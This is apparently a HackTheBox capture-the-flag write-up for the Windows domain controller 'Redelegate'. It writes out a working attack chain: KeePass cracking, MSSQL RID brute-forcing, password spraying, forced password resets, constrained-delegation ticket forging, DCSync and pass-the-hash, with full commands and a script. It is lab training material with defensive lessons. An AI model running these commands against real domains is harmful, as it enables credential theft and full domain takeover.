HTB: Redelegate Writeup
Redelegate - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Redelegate |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.73 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Redelegate is a Windows Domain Controller that opens with anonymous FTP access exposing a KeePass database and internal audit notes. Cracking the database with a wordlist derived from the audit’s own “don’t use weak passwords” example nets a local MSSQL account, which is abused to RID-brute the entire domain user list over SUSER_SNAME. Password spraying that user list against the same season-themed wordlist turns up a valid domain account, which sits in a group with ForceChangePassword rights over a second, more privileged account with WinRM access. From there, the chain pivots into a full constrained delegation attack: the compromised user holds SeEnableDelegationPrivilege and GenericAll over a machine account, which is enough to forge an S4U2self/S4U2proxy service ticket for CIFS against the Domain Controller and DCSync the Administrator’s NTLM hash straight out of NTDS.
TL;DR: Anonymous FTP → KeePass crack (season wordlist) → SQLGuest MSSQL local login → RID brute via SUSER_SNAME → password spray → Marie.Curie (HelpDesk, ForceChangePassword) → reset Helen.Frost → WinRM foothold + user.txt → Helen.Frost (SeEnableDelegationPrivilege + GenericAll on FS01$) → constrained delegation abuse (S4U2self/S4U2proxy) → DCSync Administrator hash → pass-the-hash WinRM → root.txt.
Reconnaissance
Port Scanning
The box was reached through a jump host set up for the engagement. Standard AD service fingerprint: FTP, Kerberos, LDAP, SMB, MSSQL, WinRM — all pointing at a Domain Controller for redelegate.vl.
# full TCP sweep against the DCnmap -sC -sV -T4 -p- 10.129.65.73Results: FTP (21, anonymous login allowed), Kerberos (88), LDAP (389/3268), SMB (445), MSSQL (1433), WinRM (5985) — consistent with a single Domain Controller (dc.redelegate.vl) hosting the domain redelegate.vl.
Service Enumeration
FTP allowed anonymous login and exposed three files. These were pulled down through the jump host:
# grab everything the anonymous FTP share exposesftp -inv 10.129.65.73 <<'EOF'user anonymous anonymousbinarylsget CyberAudit.txtget Shared.kdbxget TrainingAgenda.txtEOFCyberAudit.txt and TrainingAgenda.txt were internal staff-training notes. The training material warned staff off weak passwords and, in doing so, gave away the exact pattern to avoid: SeasonYear!. Shared.kdbx was a KeePass 2.x database — encrypted, but now with a very specific keyspace to attack.
Vulnerability Assessment
- Anonymous FTP write/read on a Domain Controller — should never expose credential material.
- Weak, guessable password policy (
SeasonYear!pattern), self-documented in the company’s own training file. - MSSQL local account usable to enumerate domain SIDs via
SUSER_SNAME— a classic RID-brute vector that requires no domain auth at all. - Password reuse between the KeePass vault password and a live domain account.
- Excessive ACLs:
ForceChangePasswordandGenericAllhanded out well past what a HelpDesk/IT role needs. SeEnableDelegationPrivilegegranted to a non-admin account — the single most dangerous privilege short of DA in a delegation-capable domain.
Initial Foothold
Cracking the KeePass Vault
Turned the training hint into a small wordlist of Season+Year! candidates and ran it against the database with John:
# build season/year wordlist from the training-doc hintprintf 'Spring2024!\nSummer2024!\nAutumn2024!\nFall2024!\nWinter2024!\nSpring2023!\nSummer2023!\nAutumn2023!\nFall2023!\nWinter2023!\n' > seasons.txt
# extract crackable hash from the KeePass container and crack itkeepass2john Shared.kdbx > Shared.kdbx.hashjohn --wordlist=seasons.txt Shared.kdbx.hashCracked immediately: Fall2024!. KeePass’s KDF (AES/ChaCha with a high iteration count) makes brute force expensive per guess, but a tightly scoped wordlist built from a hint the organization handed out itself collapses that cost to nothing — this is the actual weakness, not the KDF.
keepassxc-cli wasn’t installed on the jump host, so the vault was opened with Python’s pykeepass instead:
# dump every entry (title/user/pass/notes) from the cracked vaultfrom pykeepass import PyKeePasskp = PyKeePass('Shared.kdbx', password='Fall2024!')for e in kp.entries: print(e.title, e.username, e.password, e.notes)This had to be run from a clean working directory — a leftover /tmp/enum.py on the jump host was shadowing the real pykeepass import path and silently breaking the module. Once run from /tmp/rd/, the vault gave up an SQLGuest credential: SQLGuest:zDPBpaF4FywlqIv11vii.
MSSQL Local Login and RID Brute
The vault credentials didn’t belong to a domain user — they were a local MSSQL login, verified with:
nxc mssql 10.129.65.73 -u SQLGuest -p 'zDPBpaF4FywlqIv11vii' --local-authMSSQL exposes the SUSER_SNAME(sid) T-SQL function, which resolves a raw SID to a Windows account name. Since a SQL Server’s SIDs are just <domain SID>-<RID>, any authenticated login — local or domain — can be used to walk RIDs and reconstruct the entire domain user/group list without a single LDAP bind. This is the well-known “MSSQL RID brute” technique (the same one Metasploit’s mssql_enum_domain_accounts module automates); here it was done directly against the TDS protocol using impacket.tds.MSSQL:
# pull the domain SID, then walk RIDs 500-1200 through SUSER_SNAMEfrom impacket.tds import MSSQLimport struct
ms = MSSQL('10.129.65.73', 1433)ms.connect()ms.login('', 'SQLGuest', 'zDPBpaF4FywlqIv11vii')
ms.sql_query("SELECT SUSER_SID('REDELEGATE\\\\Administrator')")sid = ms.rows[0][''] # binary SID, admin RID stripped to get domain SID prefixprefix = sid.decode()[:-8] # domain SID minus the last 4-byte RID
for rid in range(500, 1200): full = prefix + struct.pack('<I', rid).hex() ms.sql_query(f"SELECT SUSER_SNAME(0x{full})") print(ms.rows)Filtering the noisy output down to real account names surfaced a solid domain user list: Christine.Flanders, Marie.Curie, Helen.Frost, Michael.Pontiac, Mallory.Roberts, James.Dinkleberg, Ryan.Cooper, and others.
Password Spray
With a real user list and the season wordlist already in hand, a spray against SMB found reuse of the same vault password on a live domain account:
# spray the season wordlist across every enumerated domain usernxc smb 10.129.65.73 -u domusers.txt -p seasons.txt --continue-on-successResult: REDELEGATE\Marie.Curie:Fall2024! — the KeePass password reused directly as her domain login.
Abusing ForceChangePassword → WinRM
Marie.Curie belongs to a group (HelpDesk) that has ForceChangePassword rights over Helen.Frost. This ACE lets any principal that holds it reset the target’s password without knowing the current one — no need to crack anything further. Using bloodyAD over Kerberos:
# get a TGT for Marie.Curie (Kerberos auth required clock sync w/ the DC first —# the jump host clock was skewed enough to break ticket validity)impacket-getTGT redelegate.vl/marie.curie:'Fall2024!' -dc-ip 10.129.65.73
# force-reset Helen.Frost's password using Marie's ticketexport KRB5CCNAME=marie.curie.ccachebloodyAD -d redelegate.vl -k --host dc.redelegate.vl --dc-ip 10.129.65.73 \ set password "HELEN.FROST" 'Password1!'Verified the new credential landed WinRM access:
nxc winrm 10.129.65.73 -u Helen.Frost -p 'Password1!'# redelegate.vl\Helen.Frost:Password1! (Pwn3d!)Pulled the flag directly over WinRM:
nxc winrm 10.129.65.73 -u Helen.Frost -p 'Password1!' \ -X 'Get-Content C:\Users\Helen.Frost\Desktop\user.txt'user.txt: <redacted>
Privilege Escalation
Helen.Frost’s Privileges
Helen.Frost carries two things that, combined, are lethal in this domain:
SeEnableDelegationPrivilege— the right to configure Kerberos delegation on objects.GenericAllon theFS01$computer object (via IT group membership) — full control over that machine account, including its password and LDAP attributes.
Neither alone gets to Domain Admin. Together, they allow standing up a fully attacker-controlled constrained delegation with protocol transition path from FS01$ straight into the DC.
Constrained Delegation Setup (S4U2self / S4U2proxy)
First, take control of FS01$ by resetting its password (GenericAll grants this):
impacket-getTGT redelegate.vl/Helen.Frost:'Password1!' -dc-ip 10.129.65.73export KRB5CCNAME=Helen.Frost.ccache
# reset FS01$'s password to a known valuebloodyAD -d redelegate.vl -k --host dc.redelegate.vl set password "FS01$" 'Password1!'Then flip on protocol transition and point delegation at the DC’s CIFS service:
# mark FS01$ TRUSTED_TO_AUTH_FOR_DELEGATION (enables S4U2self)bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \ add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
# constrain delegation to the DC's CIFS SPN (enables S4U2proxy to that target)bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \ set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'SeEnableDelegationPrivilege is what let Helen.Frost write these attributes on an arbitrary computer object — normally an SDA/Domain Admin-only capability. With both flags set, FS01$ can now impersonate any user to the DC’s CIFS service via the classic S4U2self → S4U2proxy chain: S4U2self lets FS01$ request a ticket to itself on behalf of an arbitrary user (no consent needed, since it’s TRUSTED_TO_AUTH_FOR_DELEGATION), and S4U2proxy then exchanges that ticket for a service ticket to the target SPN, constrained to whatever msDS-AllowedToDelegateTo allows.
# impersonate "dc" (the DC's own computer account) to itself over CIFS —# forging a service ticket that lets us read the DC's own filesystem/DRS surfaceimpacket-getST redelegate.vl/'FS01$':'Password1!' \ -spn cifs/dc.redelegate.vl -impersonate dc -dc-ip 10.129.65.73Impersonating dc (the machine account) rather than Administrator was the working path here — the resulting CIFS ticket for the DC’s own machine account carries enough rights on that target to drive a DRSUAPI DCSync request.
DCSync
With the forged ticket in the credential cache, secretsdump was pointed at the DC over Kerberos to pull the Administrator hash via the DRSUAPI/DCSync method:
# DRSUAPI needs the DC hostname to resolve — add it if missingecho '10.129.65.73 dc.redelegate.vl redelegate.vl dc' | sudo tee -a /etc/hosts
export KRB5CCNAME='dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache'impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user AdministratorThis returned the Administrator NTLM hash from NTDS via a DCSync (DRSUAPI replication request) — a legitimate replication permission is normally scoped to domain controllers only, but the CIFS ticket obtained through the delegation abuse gave enough machine-context authority to complete it.
Pass-the-Hash to Root
nxc winrm 10.129.65.73 -u Administrator -H '<redacted>' \ -X 'Get-Content C:\Users\Administrator\Desktop\root.txt'root.txt: <redacted>
Attack Chain Summary
Anonymous FTP (Shared.kdbx, CyberAudit.txt, TrainingAgenda.txt) ↓KeePass cracked with season wordlist → Fall2024! ↓SQLGuest MSSQL local login (zDPBpaF4FywlqIv11vii) ↓RID brute via SUSER_SNAME → domain user list ↓Password spray (users × seasons) → Marie.Curie:Fall2024! ↓ForceChangePassword (HelpDesk group) → reset Helen.Frost ↓WinRM foothold as Helen.Frost → user.txt ↓SeEnableDelegationPrivilege + GenericAll on FS01$ ↓Reset FS01$ password, enable protocol transition + constrained delegation to cifs/dc.redelegate.vl ↓S4U2self/S4U2proxy → CIFS ticket for dc.redelegate.vl ↓DCSync (DRSUAPI) → Administrator NT hash ↓Pass-the-hash WinRM → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service enumeration |
ftp | Anonymous FTP file retrieval |
keepass2john / john | KeePass hash extraction and cracking |
pykeepass | Programmatic KeePass vault dump |
impacket.tds (custom script) | MSSQL RID brute via SUSER_SNAME |
netexec (nxc) | MSSQL/SMB/WinRM auth checks, password spray, command execution |
impacket-getTGT | Kerberos TGT requests |
bloodyAD | LDAP-based password resets and UAC/attribute edits over Kerberos |
impacket-getST | S4U2self/S4U2proxy ticket forging |
impacket-secretsdump | DCSync against the DC via DRSUAPI |
Key Learnings
Techniques Practiced
- Anonymous FTP triage on a Domain Controller
- Wordlist construction from social/organizational hints rather than brute force
- KeePass offline cracking with John
- MSSQL local-auth RID brute via
SUSER_SNAME(credential-free domain enumeration) - Domain password spraying with a targeted, context-derived wordlist
- Abusing
ForceChangePasswordACEs for lateral movement - BloodHound-style ACL abuse without needing BloodHound itself (GenericAll, SeEnableDelegationPrivilege)
- Full constrained delegation with protocol transition (S4U2self/S4U2proxy) attack chain
- DCSync via a forged CIFS service ticket instead of a direct DA account
- Pass-the-hash for final access
Lessons Learned
- Any file exposed to anonymous users — even “just training docs” — can leak the exact password pattern an org uses. Treat internal awareness material as sensitive.
- MSSQL local logins are not a dead end;
SUSER_SNAMERID bruting turns them into full domain user enumeration with zero LDAP auth. SeEnableDelegationPrivilegeis functionally equivalent to a Domain Admin backdoor when combined with any writable computer object — it should be as tightly scoped as DA group membership itself.- Kerberos is unforgiving about clock skew; keep the attack host’s clock synced to the DC before any ticket operation, or every
getTGT/getSTcall fails cryptically. - When chaining S4U2self/S4U2proxy, the impersonated principal matters — impersonating the target machine account itself (
dc) rather than a named admin can be the difference between a service ticket that works for DCSync and one that doesn’t.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- 0xEr3bus, “Redelegate” HackTheBox writeup (machine author: geiseric) — used for explanatory context on the MSSQL RID-brute technique, the HelpDesk
ForceChangePasswordACL, and theSeEnableDelegationPrivilege/GenericAllconstrained delegation abuse chain.